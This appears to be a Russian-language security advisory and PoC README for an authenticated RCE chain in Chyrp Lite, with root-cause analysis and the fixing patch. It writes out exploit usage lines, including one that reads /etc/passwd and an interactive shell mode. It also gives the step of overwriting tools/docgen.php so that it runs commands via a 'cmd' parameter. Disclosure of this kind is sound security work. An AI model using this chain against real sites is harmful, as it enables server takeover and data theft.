
CVE-2026-53767 + CVE-2026-53768 - Аутентифицированный RCE в Chyrp Lite ≤ 2026.01 через обход блок-листа uploads_path и отсутствие проверки расширения файлов
CVE-2026-53767 + CVE-2026-53768 — Аутентифицированное удалённое выполнение кода (RCE) в Chyrp Lite ≤ 2026.01 ("Iriomote")
Цепочка атак: обход блок-листа
uploads_path(CVE-2026-53768) + отсутствие проверки расширения файла вadmin_update_upload()(CVE-2026-53767) → удалённое выполнение кода от имениwww-data
Chyrp Lite ≤ 2026.01 подвержен аутентифицированной RCE-цепочке, которую может эксплуатировать любой пользователь с правами change_settings и edit_upload (по умолчанию: администратор).
| CVE | CVE-2026-53767 · CVE-2026-53768 |
| CVSS | 9.1 Критический (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) |
| Затронуты | xenocrat/chyrp-lite ≤ 2026.01 |
| Исправлено | коммит 1489dc9 |
| Бюллетени безопасности | GHSA-8h86-c24h-5jp3 · GHSA-r9w7-5h94-wq5x |
| Исследователь | iltosec |
python chyrp_rce_poc.py -h
usage: chyrp_rce_poc.py [-h] -u URL -U USERNAME -P PASSWORD [-c CMD] [-i]
[--config CONFIG] [--restore RESTORE]
python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:'
python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:' -c 'cat /etc/passwd'
python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:' -i
Шаг 1 — Аутентификация
Шаг 2 — Перенаправление uploads_path в tools/ (не входит в блок-лист)
изображение
изображение
Шаг 3 — Перезапись tools/docgen.php (без проверки расширения при замене)
изображение
изображение
Шаг 4 — Выполнение
http://127.0.0.1/chyrp/tools/docgen.php?cmd=id
изображение
uploads_pathincludes/controller/Admin.php проверяет uploads_path на соответствие жёстко заданному блок-листу:
admin | ajax | feathers | fonts | includes | modules | themes
Каталог tools/ — который поставляется вместе с Chyrp Lite и содержит исполняемые .php-файлы (docgen.php, gettext.php, triggers.php) — не указан в списке. Передача значения uploads_path=tools успешно проходит проверку и сохраняется в config.json.php.
admin_update_upload()upload_tester() (includes/helpers.php) проверяет только код ошибки загрузки PHP и размер файла — никакой проверки расширения заменяемого файла не выполняется. Имя целевого файла берётся из $_POST['file'] и разрешается относительно текущего uploads_path. Поскольку tools/docgen.php уже существует (что удовлетворяет проверке is_file()), он молча перезаписывается произвольным содержимым.
Примечание: Флаг
--configуказывает наconfig.json.phpдля вычисления CSRF-токена. Если файл недоступен для локального чтения, скрипт автоматически извлекает токен из HTML-ответа.
Обновитесь до версии, содержащей коммит 1489dc9 или новее.
Были применены два независимых исправления:
Исправление 1 — Добавить tools (и licenses) в блок-лист uploads_path:
// Before
"/^$qdir((admin|ajax|feathers|fonts|includes|modules|themes)$qdir|$)/"
// After
"/^$qdir((admin|ajax|feathers|fonts|includes|licenses|modules|themes|tools)$qdir|$)/"
Исправление 2 — Проверять расширение загружаемого файла по белому списку в admin_update_upload():
$new_extension = strtolower(pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION));
$whitelist = upload_filter_whitelist();
if (!in_array($new_extension, $whitelist))
error(__("Error"), __("File type is not allowed."), code: 422);
Данный PoC опубликован исключительно в образовательных и исследовательских целях. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Автор не несёт ответственности за неправомерное использование.